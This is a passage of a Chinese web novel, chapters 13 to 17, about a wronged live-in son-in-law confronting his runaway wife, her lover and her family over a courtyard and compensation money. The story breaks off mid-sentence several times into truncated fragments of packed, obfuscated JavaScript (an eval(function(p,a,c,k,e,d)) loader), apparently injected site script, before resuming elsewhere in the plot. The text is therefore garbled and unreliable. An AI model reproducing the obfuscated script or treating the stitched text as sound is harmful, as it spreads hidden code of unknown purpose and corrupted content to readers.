小月没回,把指甲染了,第二天才带上姑姑买的新衣裳往回走。 值得一提的是,因为白桃当年是招赘婿上门,所以生下来的女儿姓白,白月对家里其他人的称呼,也俨然将自己当成了白家的孙辈。 所以,白桃那些妹妹都是她的姑姑。 小月回到家中,立刻察觉到了气氛的紧绷,整个院子弥漫着一股鸡汤的香味,她心中一喜,立刻奔进厨房,看到是小姑姑在做饭,笑道:“小姑,这是特意为我接风吗?” 白幺妹心里烦躁不已,闻言冷笑:“你想多了,这是你爹要喝的,还不许我们家里其他人喝。昨天一只鸡,今天又要吃鸡,我看啊,他早晚被噎死。” 小月不高兴了:“不要这么说我爹。” 白幺妹呵呵:“你爹要走了,说是要带着你一起走呢,你跟不跟啊?” 小月惊讶:“为何要走?”她忽然想起听三姑说过,父亲这段时间跟白家吵得厉害。 “跟我娘有关吗?” 白幺妹很不喜欢大姐,原先她对大姐白桃无感,提起大姐,唯一的感觉就是姐夫不错。但是,白桃诈死与人私奔,虽然扯了个失忆的遮羞布,但村里人都知道真相为何。 家中姐妹做出这种事,对她的婚事有些影响,原本方有财家里都接纳了她,准备找个吉日上门提亲,就因为大姐名声越来越差,方家那边现在都不接话茬了。 她心里很烦,与人私奔的是大姐,又不是她。外人凭什么把大姐做的事情算在她头上? 她心里很气愤,但又很无奈,那些人就是不讲道理……她是一点办法都没有。只希望方有财能做到承诺的那样娶她为妻,以后一辈子对她好。 “是呢,哪怕你爹再老实,也容忍不了你娘女人私奔以后又生孩子呀。” 关于这些事,白兰儿都听说了,但是她不知道该怎么跟侄女说,找不到恰当的机会提及,以至于到现在小月还不知道母亲这些年又生了两个女儿。 “什么?” 白桃多年不见大女儿,刚才她在茅房,听到外头动静,慌慌张张赶出门,看到已经快和自己一样高,已经初见少女窈窕的姑娘,她的眼泪瞬间就下来了。 “小月,我的女儿,我好想你啊。” 白月还没反应过来,就已经被人揽入怀中。她从小没有娘,不习惯与人过于亲近,不自在地伸手把人推开。想到小姑说的话,她张口就质问:“你又生孩子了?” 对于这事,白桃没打算隐瞒闺女,哭着点点头:“你有两个妹妹,一个九岁一个七岁,她们很懂事,很乖巧……” 白月很小就没了娘,白满平从来不在孙女面前抹黑女儿……他心底里还想着,一辈子那么长,母女俩终有相见的一日。 林大力真的以为妻子死了,这人无论活着的时候做了什么,死了后旁人念及的都是她的好。虽然夫妻感情不睦,但林大力觉得那是大人之间的事,在女儿面前,从来不说白桃的不好,偶尔提及,也多是夸赞。 因此,白月对于亲娘的回归不怎么在意,但心里还是很期待,结果一见面就得知亲娘这些年生了两个女儿。 那她算什么? “我听说你是和人私奔?” 白桃哑然:“不是私奔,是娘忘了你……” “如果不是私奔,为何所有人都这么说?”白月已经十一岁了,该懂的都懂,父亲沉默寡言,确实不讨女人喜欢,而镇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白桃看着自己的右手,不敢相信自己抬手打了多年不见的女儿,明明她那么想念女儿,经常都能梦见女儿,午夜梦回还哭醒好几次。 她想要哄一哄女儿,一回头,看到女儿的房门甩上,似乎还有栓门的动静。 门栓上,肯定是进不去了。 白桃满心颓然,收回目光时看到了林大力,她的怒火瞬间有了发泄处:“林大力,你满意了?小月这么恨我,肯定是你在后头挑拨我们母女之间的感情……” 温云起呵呵冷笑:“你想多了。小月不光是这么对你,平时与我这个亲爹也不亲近。” 白桃有些怀疑他乱扯,不过,父女之间不亲近正好,她眼睛一亮:“那你把她留下吧,你养了她十几年,剩下的时间由我照顾就行。” 温云起扬眉:“不管她与不与我亲近,她都是我的亲生女儿,人到中年,我就这么一个孩子。想让我放弃,你做梦!” 13.当牛做马的上门女婿 十三 白桃不想轻易放弃女儿,就方才母女俩相处的情形来看,除非是林大力主动不要女儿,否则,闺女不太可能选她。 她苦口婆心地劝说道:“小月这孩子脾气太差了,跟谁都能发火,我还是她亲娘呢,她都这么倔……养这种孩子特别费心神,你把她给我吧。至于养老,你才三十出头,手头又抓着大把银子,完全可以另娶,回头新媳妇给你生上三个五个儿子,不比闺女好得多吗?” 温云起算是看出来了,白桃自己也重男轻女。 “你也说了,我有大把银子,即便是我带个女儿,也多的是姑娘愿意嫁。有小月在,我也能从容些,以后生不出孩子也不着急。总之,你今天就是说出一朵花来,我也不可能把小月交给你这种女人。她跟着你,首先名声就要受影响,你又不可能给她太多的陪嫁,你们俩如今名声死臭,多半没有人愿意和你们结亲家,小月有你这种娘,认谭二井那种勾引有夫之妇的爹……到时绝对会耽误了她。” 白桃脸色变幻,她不想承认,也知道这些话是事实。她得和谭二井商量一下对策,假装生气地跑出门去。 说这些话时,温云起没有刻意压低声音,屋中的小月听得一清二楚。 十一岁的姑娘家,跟小姐妹私底下相处后,该懂的都懂。白月可不打算以后留在村里种地……哪怕按规矩她该留在白家招赘婿顶门立户,她也不愿意。 她想过三姑那种日子! 姑娘招赘婿进门,说好听点是自己当家做主,但又有几个四角俱全的好男人愿意上门做赘婿? 人生短短几十载,白月不想让自己活在别人的议论之中,她就愿意和其他姑娘一样到了年纪就嫁人,和夫君相濡以沫,生几个孩子,看着孩子长大,老了和夫君互相扶持……最好婆家是比较富裕的那种,到时她也不用太辛苦,兴许还有闲钱打扮自己,如果未来夫君能更贴心一些,那就更好了。 白月刚回来,并不知道母亲口中说父亲那捏有大把银子这话是什么意思,她不是个沉得住气的人,没多久就悄悄溜出了门去找白幺妹。 “小姑,我娘一去这么多年,还在外头生了孩子,爹肯定很生气,娘有没有给补偿爹?” 父女俩在同一个屋檐下相处这么多年,虽然白天的时候都见不着面,但林大力有什么本事白月还是清楚的,他有赚钱养家的能力,但想要大富大贵……那几乎就只能等着天上掉馅饼了。 白幺妹心情烦躁,她不是没有想过分一部分银子给自己做嫁妆,但无论这银子在大姐手里,还是在林大力手中,都没有她的份。 如果林大力还像原先那样对白家人没有隔阂,兴许会愿意给她陪嫁丰厚的嫁妆,甚至连已经出嫁的几位姐姐,说不定都能分得一部分。 她不明白侄女为何要问此事,下意识实话实说:“赔了,你爹得了六十两,还觉得不够,逼着你娘再赔呢,你娘答应再给五十两,他还不满意,赖着不走就是为了要银子。” 白月经常在镇上住,自然知道一百两银子有多少,听了小姑这番话,她暗暗咋舌:“确定有六十两?” “那还有假?我亲眼所见。”白幺妹眼神一转,心中有了个主意,低声道:“小月,姑姑对你好不好?” 白月点头。 白幺妹比她大不了几岁,村里的孩子都是大的带小的,林大力忙着赚钱养家,小时候的白月多是白幺妹在照顾,姑侄俩感情不错。 见侄女点头,白幺妹眼睛一亮,愈发靠近了侄女几分,再开口时,语气里带着蛊惑之意:“你爹这么多的银子,又只有你一个女儿……暂时只有你一个闺女,姑姑不是外人,是真心替你着想才多嘴几句,对于你爹的那些银子,你自己要多留个心眼,直白点说,那些银子你不花,自有旁的女人替你花,说不定还会给你爹生孩子。等你有了弟弟,那些银子就没你的份了。” 白月面色微变。 白幺妹低声:“这男人呐,就没有老实的。你爹这些年是没有再娶,但我都听说了,他和两三个寡妇不清不楚,赚的银子也不知道分了多少给她们。如今你爹有了大把银子,还是当着外人的面拿到手的,这要是被那几个寡妇听说了,她们能放过你爹才怪,绝对会想方设法榨干你爹手头的银子,兴许都不用三五天,银子就会易主!” 她语气笃定不已,仿佛那些寡妇已经在打林大力的主意了一般。 白月深觉这话有理,但她才十一岁,在父亲眼里还是个孩子,此时张口要银,父亲即便愿意给,也只会给她一小部分。想到此,她有些着急,父亲的银子就是她的,她万分不愿意自己到手的银子飞走,忙道:“小姑,你有没有办法?” “办法嘛,倒是有一个。”白幺妹负手踱了一圈,眼神咕噜噜的转,“就看你胆子大不大了。” 白月在这个家里地位超然,白满平在抱上孙女的前几年,没有想过继外孙回来传宗接代,因为林大力养着家,他一直想的都是让孙女招赘婿。 既然要把孙女留在身边养老,他对白月不说疼到了骨子里,也绝对是百依百顺。其他的几个女儿谁也不能欺负了白月,小时候因为白月哭嚷,姐妹几人没少挨骂,这其中挨骂最多的就是白幺妹。 因为受宠,白月的胆子也很大,反正做了坏事也最多就是被骂几句,在她眼里,白家所有人中,就父亲对她严厉……但父亲要走,如果她能把银子拿到手,以后自己做自己的主,跟不跟父亲离开都再说。 “你说来听听。” 白幺妹出主意:“你去偷,哪怕被你爹知道了,他也不可能真的打死你。再说了,还有你爷爷和你娘在呢,即便他要打人,我们也会拦着。银子到手,你就死不承认。” 白月一听就皱眉,她从小就得宠,但也有些事情绝对不能干,比如去偷去抢,一经发现,别说父亲了,就是爷爷都会动手揍她。 而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那要看你。”温云起揉了揉眉心,“出去吧,有空的时候收拾一下行李,我们在这院子里住不了几天了。对了,你愿不愿意跟我走?” “你养我这么多年,而我娘走了后就再没回来看过我,我当然选你。”白月出门时,脚步雀跃。 就说不用偷嘛,凡是她想要的,父亲就没有不给的。 财帛动人心,银子真的很招人。 吴德就被招来了。 上一次两人相处得很不愉快,吴德进门来时,一家人等着吃晚饭,他嬉皮笑脸凑到了温云起身边,像是两人没有发生过恩怨一般,笑吟吟道:“姐夫,我知道你心里难受,特意来陪你喝两杯。” 温云起并不难受。 他如今的处境可都是自己费心算计来的,怎么会难受呢? 14.当牛做马的上门女婿 十四 吴德脸上笑成了一朵花,以前对待林大力的态度从来就没有这么热情过。 往日夫妻两人登门,吴德从来都跟个大爷似的,只等着吃,还会对着做生意回来的林大力指指点点,无论是衣着打扮,还是做生意的手段,甚至就连挑担的方向,在他的眼里,林大力就没有一件事做得对。 温云起一把推开了他:“我才不难受呢。” 此时桌上所有人都在,但气氛很不好。温云起猜到吴德是为了他的银子才凑上来,但是,吴德对林大力的恶意,从来都不是为了银子。 林大力会赚钱,但赚来的所有银子都花掉了,不值得吴德算计。 吴德从头到尾想要的都是白家的这个院子。 上辈子白桃两人回来的时候,白婷儿夫妻俩已经在这院子里住了两三年,俨然把自己当做了院子里的主人。白桃初回,哪怕觉得自己才是当家做主的人,但她诈死离开,违背父亲意愿一走这么多年,身为留在家里的女儿却一直没有照顾父亲,没有关照底下的妹妹,这都不像是一家之主该做的事。二妹搬回家中来住,帮她照顾了父亲……她本来就心虚,哪里好意思出面赶人? 不过,谭二井既然对林大力下了毒手,可见夫妻两人没打算再回码头。 如果要去码头上,也就不会在乎村里的人怎么看待二人了。更甚至,他们会留在码头上不回来。 上辈子两人跑回村里,绝对是在码头上惹了事。 吴德被推开后也不生气,乐呵呵又凑上前:“咱们都是男人,我懂你心里的苦……” 温云起打断他:“我是要走的人,你若是想搬进来住,不用在我身上费心思。” 吴德一愣。 他原先就想将林大力赶走,不过,他知道此事很不容易,林大力这个人很能忍,无论被人如何欺负,一点脾气都没有。 他想的是夫妻俩先住进来,林大力是个很能干的人,家里有林大力,他能轻松不少。 林大力是个能干又老实的,家里多一个他少一个他都无所谓。但谭二井可不一样。 这位一个铜板都没花就把白桃拐走了,甚至还想出了一个失忆的说法,愣是堵住了村里人唾骂二人的嘴。 众人即便是觉得谭二井撒谎,也不好问到面上去。哪怕觉得两人私奔这件事情很不要脸,也不敢明着议论。 吴德后知后觉发现自己如果想住白家的院子,最大的阻碍是谭二井! 而谭二井是他们所有一起长大的小伙伴中最聪明的人。 他心里有事,也不再嬉皮笑脸,坐在了温云起的身边。 温云起懒得搭理他,很快吃饱喝足。吃饱后他没有起身离开,就坐在椅子上没动。 只看白月的模样,明显是有话要说。 白月发现了二姑心思不纯,这个家里,她娘当初招赘婿……等于她娘是这白家的儿子,其他的姑娘都要嫁出去。她娘只生了她一个,以后就轮到她招女婿,这可不是她胡思乱想,而是白满平亲口说过的。 换句话说,白月以后是这个家的主人,以后娶进来的那个男人都得听她的话。 虽然她不想做这个白家的当家人,但自己不要跟被旁人抢去,从根上就不是一件事。 她可以主动放弃……就像是一盘属于她的菜,她不想吃可以倒掉,可以送人,但旁人绝对不可以未经她的允许就端走。 “姑父,你这三天两头的跑,是把白家当自己的家了吗?” 白桃跟家里的妹妹们感情不错,当初她走时,所有的妹妹都没出嫁。回来后得知只剩一个幺妹没嫁,也就是说,她平白多出了许多的亲戚。 这些妹夫她有一半认识,也算是大家一起长大,但也有些不认识。 吴德算是这所有妹夫中她最熟悉的人,白桃从外地回来,名声有了瑕疵,没有解决林大力之前,夫妻俩又不敢回码头。在这样的情形下,白桃很愿意拉拢一切可以拉拢的人帮自己说好话。所以之前吴德登门,她都很是客气。 此时见女儿对着长辈如此不客气,白桃脸色瞬间就沉了下来,哪怕知道母女之间感情不睦,但她认为,她是孩子亲娘,得教孩子懂理。立即训斥道:“小月,怎么跟你姑父说话呢?这里确实是你的家,但也是你二姑的家呀,你姑父想来就来,由不得你一个晚辈多嘴。赶紧道歉!” 白月刚刚才和亲娘吵了一架,又已经决定和父亲一起离开,这会儿是一点都不怕,霍然起身吼道:“你懂个屁呀!我这是在帮你,明明你才是以后的当家人,结果这姓吴的就因为家里的房子不够住,想带着二姑和她生的那三个儿子回白家来占这个院子。他甚至都主动让大儿子姓白了。” 白桃一脸惊愕:“不可能.。” 她当然知道改姓意味着什么。 如果父亲答应了这件事,那她以后在这个家就只是客,当家人会变成二妹。 如果一直在码头上,白桃不会在意院子给了谁,反正她也不回来住。但是,她回来在这院子里住了两天后,从来就没想过将院子让给别人。 “爹,当初招赘婿的人是我,为了这,我放弃了许多。这些你们都是知道的呀,我成亲之后也不是没生孩子,外头的那两个孙女你不认,白月在你眼皮子底下长大的,你怎么能过继别的孩子呢?” 白桃越想越不甘心。 父亲要是早想好了让二妹招赘婿,愿意放她嫁人,那她当初也不会与林大力做夫妻,更不会落到如今千夫所指被所有人唾骂的地步。 付出了那么多,如今一句话就叫她让,凭什么? 白满平有自己的道理,看到孙女当着长辈的面就大喊大叫,他已经很不满意。如今女儿也这么大声的质问自己,他又添了几分不悦,沉着脸道:“我是你爹,这就是你对亲爹的态度?有什么话不能好好说,非得吵吵?” 白桃哪里冷静得下来,他们回来是躲衙门的人,如果运气好点,尽快将林大力解决,还能重新回到码头上,像以前一样过日子。 但是,刚才她悄悄和谭二井商量了这件事……谭二井不太想回码头了。 这些年两人是攒了一些银子,但他们俩都很辛苦。还有,谭家那边的长辈年纪越来越大,此次谭二井回来,二老天天抓着他哭。 谭二井又不是石头缝里蹦出来的,不可能对自己的亲爹娘一点感情都没有。看到两人苍老不少,又如此想念他,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她有些崩溃,“我不管,这个院子以后只能我和我男人住!其他的人可以回来做客,但不能把这里当家。” 这个“其他人”指的是谁,不言而喻。 吴德不愿意在白家与这些姐妹相争,但是这会儿白婷儿不在……夫妻俩回白家,大多数时候都是一起来,今儿他独自登门,是因为他是刚才出来转悠,听到旁人说林大力如今发了,得知了前因后果,这才跑来的。 喝上几杯酒,拉近一下二人之间的关系,能占到便宜最好,哪怕占不到便宜,和拥有最少一百多两银子的林大力交好绝对是有益无害。 他不愿意和白家的姐妹相争,是因为白婷儿从来就不吃亏,都用不着他出面,而不是他不想争。此时忍不住道:“大姐,爹还当着家呢,你这一走多年,爹也指望不上你啊!你远在码头之上,爹这边躺床上要喝水,难道你还能隔空递来?” “不管我递不递水,那都是我的事,轮不着你一个外人操心。”白桃凶巴巴地强调,“若你敢强行搬来,别怪我往饭菜里加药!你好好想想,到底是要住白家的宅子,还是要保住一家人的命!” 15.当牛做马的上门女婿 十五 白桃情绪激动,脸都涨红了。 吴德吭哧吭哧,他不舍得放弃白家的院子,但白桃如此抵触,连下药的话都说出来了,他一时间不知道该如何应对,只一眼一眼地悄悄撇老丈人。 白满平果然有了反应,他用力拍了两下桌子:“现在还是老子当家,这院子里的事是老子说了算,你要是敢下药,就给我滚出去。” 听到这话,温云起笑出了声。 他一出声,所有人都看了过来。 温云起一脸坦然地回望:“如今是我说了算。” 闻言,吴德眼睛一亮。 是啊,姨姐亏待了林大力,如今还有把柄被林大力捏着。 林大力让她搬,她就得搬。 “姐夫,你看看大姐,这脾气也太差了,都是一家人,有什么话都可以好好商量,我又不是不听。” 白桃愤然:“林大力,其他的事情都好商量,你要是敢让吴德住进来,我跟你没完。” 温云起好奇:“你要怎么跟我没完?往我饭菜里下药?” 院子里吵闹的动静不小,此时院子门关着,但他们说话声音那么大,难免会让周围的邻居听了去,万一让人掐头去尾,编排大女儿要给林大力下药……旁人一张嘴就说了,到时自家会解释不清。 “闭嘴!”白满平呵斥! “该闭嘴的是你!”温云起声音比他更大,气势比他更凶。 “想要让我不出现在这个院子里容易,给我一个满意的说法。”温云起说着这话起身,看了一眼白桃,“我等着你来找我。若还拖拖拉拉,别怪我真的让二妹回来住。” 白桃气得胸口起伏,偏偏又拿林大力一点办法都没有。此时她很想找谭二井商量对策,但这已经是晚上……两人原本就被人怀疑是私奔,若是晚上在私底下见面,外头那些人会传得更难听。 等到屋子里所有人都睡了,白桃辗转反侧,到底还是起身出了门。 她心里抱着侥幸之意,这么晚了,也没谁会在路上盯着,她小心一点,应该不会被人发现。 * 谭二井晚上被几声鸟叫喊出了门。 当年二人私底下来往,就是用鸟声来叫对方出门。 “这么晚了,你怎么来了?” 谭二井上下打量着面前的白桃:“你哭了?” 白桃确实哭了,想到回来以后外面的那些闲言碎语,想到父亲的偏心。尤其是她当年放弃了与谭二井做夫妻,转头和林大力成亲……两人是真的圆了房。 她付出了这么多,连心上人都舍了,清白尽失,最后父亲居然不认她这个当家人,而是打算让妹妹的儿子来白家。 她真的是越想越委屈。 “谭郎,你不知道我爹多过分!那个吴德把自己的大儿子改姓了白,爹就准备让二妹一家搬回来住……” 谭二井听到这话,也着急起来。 夫妻俩这些年攒了一百八十两银子,在这村里算是很大的一笔钱,买房造院子于他们而言并不难。 哪怕是这些银子要分出一百多两给林大力……也总是要想办法拿回来的。 即便是拿不回来,剩下个二三十两,也足以造院子了。 但问题是,明明就是自己的东西,凭什么要拱手送人? 白家的房子修了好多年,不算很新。但院子占的那块地不小啊,位置也不错,那本就是属于白桃的。谭二井决定留在村里不再去码头,这两天睡觉时闲来无事脑子里都开始设想白家的那块地要怎么安排了。 “他都让你二妹在家里招赘婿了,当年又为何要拦着你出嫁?这根本就是个疯子,从来不为你考虑。”谭二井满脸愤怒,“这种人也配做爹?我自认不是什么好东西,也绝对不会这样害自己女儿。” 白桃看他愤怒不已,怕他冲动之下闹事,私心里,她还是不希望谭二井和自己的父亲吵起来,急忙安抚: “林大力说了,白家现在由他做主。他那个意思是,如果我们不尽快让他满意,他就会让吴德搬进来。” “岂有此理!”谭二井越想越气,狠狠踹到旁边的断墙上。 这堵断墙是隔壁邻居原先修给一辈子没有成亲的叔叔所住,那老人离开后,房子彻底荒废下来。如今更是倒塌了,只剩两堵断墙。 断墙经不起谭二井这力道,只一下,就彻底塌成了废墟。 白桃试探着道:“要不我们先拿银子把他打发了吧,请神容易送神难,真让二妹一家子搬进来了。吴德从小就不要脸,以后我们怕是很难把他赶走。” “不怕,咱俩的孩子都在外头,而吴德可是有三个儿子的。”谭二井意有所指。 白桃低下头:“方才我已经威胁他,若胆敢搬进来我就会在饭菜里下药。但看他那样子,明显还没死心。” 林大力一说家里由他做主,吴德立即就贴了上去。 “他想是他的事,要是想了就能得到,那这世上的人都是良田千亩,家财万贯的富人了。”谭二井伸手帮她擦泪,“别哭了,回去睡。” 这人在无助的时候总想找依靠,白桃过去十多年夜里都有谭二井陪着,如今她一个人住……外面关于她的传言有许多,大多数都不堪入耳。父亲还偏心,女儿也和她离了心,桩桩件件都是她过往十多年里没有遇到过的事。 她特别想有谭二井躺在枕边,夫妻俩多说说话。 想到要分别,白桃很是不舍,扑进了他的怀里,抱住他的腰道:“我们俩到底什么时候才能光明正大做夫妻?为何世人就是不体谅我们之间的感情呢?” 而就在这时,谭二井身后骤然亮起,两人只看到一个火把,因为那边太亮,二人也看不清这举着火把的人到底是谁。 但无论是谁,两人原本就有私奔的传言,如今还夜里相会……此事若是传出 ,明天两人的名声会更差! 得让这人闭嘴,此事不能让太多人知道。 谭二井不是怕毁了名声,他们在外做十多年的夫妻是事实,如今见面虽然好说不好听,但也可以解释。问题是谭家长辈如今还不太接受白桃,二老年纪大了,谭二井还是希望他们能心平气和地认下白桃这个儿媳妇。 若是得知白桃夜里来找他,二老对白桃的观感会更差,就在昨天临睡前,母亲还让他考虑一下与隔壁村里一个寡妇相看。 他当时一口回绝,母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你俩要是清白的,那俩孩子哪儿冒出来的?”温云起嘲讽道:“白桃,谭二井有可能是清白的,但两个孩子由你肚子里爬出来,你即便没有和谭二井不清不楚,也绝对与其他的男人搅和在了一起。” 白桃面色煞白:“你不要胡说!” 温云起已经不管她了,而是看向众人,当下人很讲究邻里和睦,但林大力仔细论起来不是村里的人,他是从镇上来的。 想要让村里人心甘情愿帮外人把自家村里的人送上公堂,可不容易。 林大力平时很忙,与周围人感情不错,但那都是面子情,想让他们冒着得罪白家和吴家的风险帮林大力做事,几乎是不可能的事。 温云起扬声道:“但凡是帮我绑人,又一起把他们送到公堂上的人,回头我每人给二两银子做酬谢。只要人捆上,我就先给一两,只限十人!” 原本众人还在迟疑,听到只有十人可以赚这个银子,瞬间就有不少人围拢上来。不过眨眼间,谭二井就如死狗一样被人摁在了地上。 16.当牛做马的上门女婿 十六 不是众人不顾邻里情分,而是林大力给得太多了。 那可是二两银子啊! 去外头干活,辛辛苦苦一年到头,把自己的吃喝除掉,能省下二两得是很能干的人才行。。 这二两银子再添点,都能娶一个媳妇过门了。 一有人动手,旁的人就怕自己落下,有人自发找了绳子过来,很快谭二井就被人捆得跟粽子似的,看他大喊大叫,干脆找了块破布把嘴给他堵住。 捉奸拿双,除了谭二井,白桃也被人捆住了。 白桃简直不敢相信自己经历了什么,她被人摁在地上挣扎不动,气得瞪大眼睛怒吼:“林大力,你是疯了吗?我们给了你那么多的银子,你出尔反尔……” “你们之前给的几十两银子,只是我这些年来辛苦赚到的工钱。”温云起强调,“我为白家的付出,对你们一家人掏心掏肺的心意你还没赔偿,还有,你欺骗我这么久,让我跟个傻子似的帮你养家。这部分怎么说?” 温云起并没有想将这二人立刻就送到大牢里去。 他们害死了林大力,只是毁了名声可不成……这两人被送到公堂上,罪不至死,若是被关进了大牢里,以后想对他们动手,几乎是不可能的事。 律法严明,犯人做错了事,自有律法严惩,旁人私自报仇,很可能会搭上自己的命。跑去大牢里动手害人,那是挑战朝廷和他们的威严。 白桃咬牙:“我们又没说不赔,只是谈不拢。” 问题是这两人最近提都没提,谈也没谈,就想这么糊弄。 温云起不愿意让他们过安宁日子! 村里人想着那二两银子,捆了两人的十人没有吭声,他们不太好催促。但是人群里有不少都是他们的家人,此时你一言我一句地开口。 “这二人不要脸,把他们送到城里游街。” “对对对,嫁人了还不安分,活该坐牢。” “这男人勾引有妇之夫,也该罚一罚,这要是不好生教训,以后这村里还得了?” …… 听着众人催促,温云起没什么反应,白桃和谭二井实实在在着急起来。 谭家夫妻很疼小儿子……如果不疼儿子,不会管儿子娶谁,这一双苦命鸳鸯自然也不用背井离乡了。 此时谭家夫妻看到儿子的惨状,也没空责备他半夜不睡往外跑,心疼地直掉眼泪,他们哪里舍得把儿子送进大牢? “大力,二井错了,我们认赔!有什么条件你提,千万别真的把他送公堂啊。”谭父头发都白了一半,这会儿佝偻着身子,可怜巴巴地冲着众人拱手求饶,“咱们村出了这种事,就该藏着掖着,真去了城里,咱们村里的名声就毁了。大井他叔,你说句话呀。” 最后一句,是对着村长说的。 村长也不赞同把这件事情报官,不过,白桃干的事情实在是太不要脸,林大力这些年有多辛苦,所有人都看在眼里。他若是强压着不许林大力出气,万一把人逼急了……村里的传言那都不是不要脸的男女私奔生女,而是要闹出人命来了。 “二井,你说句话。” 村长说话很有用,旁的人到底是扯掉了谭二井口中的布。 谭二井身上都是泥土,脸上甚至被地上粗糙的石子给磨伤了。今日林大力这一通发作,也让他彻底看清楚了林大力对两人的仇恨,如果不及时出银子安抚,他和白桃绝对逃不了一场牢狱之灾。 罢! 花钱消灾,先把眼前的劫难过了再说。 之前出五十两,林大力嫌少不愿意和解。想要了结此事,必须要出比这更多的银子。 在外混迹多年,谭二井对人心也有几分把控,若是林大力要的银子离五十两不远,上次就谈拢了。既然林大力拒绝相谈,那就是五十两离他心里的预期有比较大的差距。 谭二井咬咬牙:“七十两!” 听到这话,那十个帮忙的人心中都一凉。 这么大的一笔银子,林大力肯定会满意了。这不去城里的衙门,他们只是帮着捆了捆人……乡里乡亲的,帮点小忙是应该的,今儿怕是得不到任何好处。 这二两银子,多半要飞。 温云起却并不满意,闻言一挥手:“别废话,绑走!” 谭二井:“……”七十两银子是废话? 这混账胃口之大,也不怕自己被撑死。 他盘算了一下两人拥有的银子,到家时总共是一百八十三两,那点零头他们拿来给两家的长辈买礼物了。后来又给了林大力五十两,如今还有一百三十两。 看林大力的模样,七十两距离他的预期也有距离。 谭二井咬咬牙:“我给你一百两!” 众人一阵惊呼。 这一百两银子,可以买二十亩左右的肥田,村里还没谁家有这么多田地呢。 温云起不说话,白桃见有戏,立即出声:“大力,是我们对不住你,这是我们的一点心意。大家做见证,以后这银子就是你的,我们绝不再找你麻烦,也绝不会想着把银子追回。若你不信,我可以对天发誓。” 她满眼是泪,满脸的急切,“看在小月的份上,你就放我们一马吧。难道你希望小月有一个因为私奔被关到大牢里的娘?那会影响她的名声,以后也没人娶她了呀。你口口声声说疼小月,难道都是假的?” 谭二井接话:“你就……” 温云起打断他,看向白桃问:“你说实话,当年你离开,到底是真的失忆,还是私奔!” 白桃噎住,一时间失了言语。 其实,无论她嘴上如何说自己当年撞了头失忆,在场众人根本就没几个相信,从那么高的悬崖上落下,即便是顺利落到了水中,多半也要丢命。大家心里都清楚,她当年就是不愿意和林大力过日子,成亲了也不安分,这才和谭二井一起远走高飞。 “我是失忆,不记得……” “不要拿我当傻子。”温云起一脸严肃,“如今你和二妹感情一般,还要和他们夫妻争院子。当年的真相,可不止你一个人知道。你不肯说,我就去问二妹,回头就用白家的院子来答谢。” 白桃哑然,她万分不愿意承认自己是私奔,名声很重要,但和白家院子比起来,似乎又没那么重要。她狠狠闭了闭眼:“当初我和谭郎两情相悦,父亲想让我留在家里招赘婿,逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她一瘸一拐就要走……刚才那些人怕她逃跑,摁她的人下手很重,人多杂乱,她的右腿被踩了两脚。虽然不是剧痛,但走起路来还是有点瘸。 温云起见状,再次出声:“还有件事,你得答应了今晚上的事情才能了。并且,你们办得好,以后我才不再找你们麻烦。” 谭二井险些没气炸了,却不敢发作,只能强压着脾气问:“何事?我们真的没有银子了,再逼也逼不出来。” “我不要!”温云起目光落向帮忙的十人,“原本我是铁了心要把你们送官,准备给他们工钱。如今这不去城里了,也不能让他们白干,每人二两的工钱,你们记得付!若是少了……那我还是让他们走一趟好了。” 谭二井:“……” 想要不被送官,这也是不得不出的花销。 可问题是,这么一算,两人带回来的银子花个精光都不够! 多年积蓄毁于一旦,他气到了极致,眼前阵阵发黑,喉咙中蔓延出一股腥甜的味道,还有点想吐……一张嘴,竟喷出了大片血雾。 17.当牛做马的上门女婿 十七 谭二井被气吐血了! 众人先是一愣,随即又能理解,一下子要拿一百四十两出去,换了谁不吐血? 将心比心,这事要是落到他们头上,怕是死的心都有。 白桃急忙上前去搀扶。 谭家夫妻看到儿子吐血,一个比一个着急。又见白桃上前去扒拉人,谭母怒火冲天:“你离我儿子远一点。都是因为你这个贱妇,我儿子才落到了如今的地步,你口口声声说喜欢他……真喜欢他,你别来祸害他呀!算我求你了行不行?” 她真就要跪在地上磕头。 白桃吓一跳,扶人也不是,躲开也不是。一时间手足无措,愣在了原地。 边上众人不会眼睁睁看着这种事情发生,长辈跪晚辈,晚辈那是要被天打雷劈的,也显得长辈太过卑微。 当即就有人冲上去扶住了谭母。 一个要跪,一个要躲,还有些人在劝二人。周围乱成了一锅粥。 温云起重重咳嗽了两声,吸引了众人目光:“谭二井,你确定还要赖在地上?” 这语气里满是威胁之意,哪怕谭二井面色苍白,也不敢磨蹭,强撑着起身。 他们俩的银子都在白桃那里,只能去白家取。 